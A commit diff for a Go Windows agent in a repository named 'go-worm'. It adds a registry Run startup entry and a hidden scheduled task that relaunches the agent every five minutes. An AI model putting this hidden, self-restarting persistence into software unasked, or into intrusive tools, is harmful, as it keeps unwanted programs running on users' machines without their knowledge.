feat(agent): add crash logs and watchdog startup

- Recover panics to disk for diagnostics
- Add 5-minute watchdog task with startup
- Add -ensure flag to start detached agent
- Add script to pull remote folder via API

lib/startup/startup.go

@@ -28,7 +28,10 @@ func Enable() error {
 		return err
 	}
 	defer k.Close()
-	return k.SetStringValue(config.StartupValueName, command)
+	if err := k.SetStringValue(config.StartupValueName, command); err != nil {
+		return err
+	}
+	return enableWatchdog()
 }
 
 // SyncInstalledPath rewrites an existing Run entry to the AppData install path.
@@ -50,9 +53,13 @@ func Disable() error {
 	defer k.Close()
 	err = k.DeleteValue(config.StartupValueName)
 	if errors.Is(err, registry.ErrNotExist) {
+		_ = disableWatchdog()
 		return nil
 	}
-	return err
+	if err != nil {
+		return err
+	}
+	return disableWatchdog()
 }
 
 func installedCommandLine() (string, error) {

lib/startup/watchdog.go

@@ -0,0 +1,43 @@
+package startup
+
+import (
+	"fmt"
+	"os/exec"
+	"strings"
+	"syscall"
+
+	"golang.org/x/sys/windows"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/config"
+)
+
+func enableWatchdog() error {
+	exe, err := config.InstalledExe()
+	if err != nil {
+		return err
+	}
+	tr := fmt.Sprintf(`"%s" -ensure`, exe)
+	return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/SC", "MINUTE", "/MO", "5", "/TR", tr, "/F")
+}
+
+func disableWatchdog() error {
+	err := runSchtasks("/Delete", "/TN", config.WatchdogTaskName, "/F")
+	if err != nil && strings.Contains(strings.ToLower(err.Error()), "cannot find") {
+		return nil
+	}
+	return err
+}
+
+func runSchtasks(args ...string) error {
+	cmd := exec.Command("schtasks", args...)
+	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
+	out, err := cmd.CombinedOutput()
+	if err != nil {
+		msg := strings.TrimSpace(string(out))
+		if msg == "" {
+			msg = err.Error()
+		}
+		return fmt.Errorf("schtasks: %s", msg)
+	}
+	return nil
+}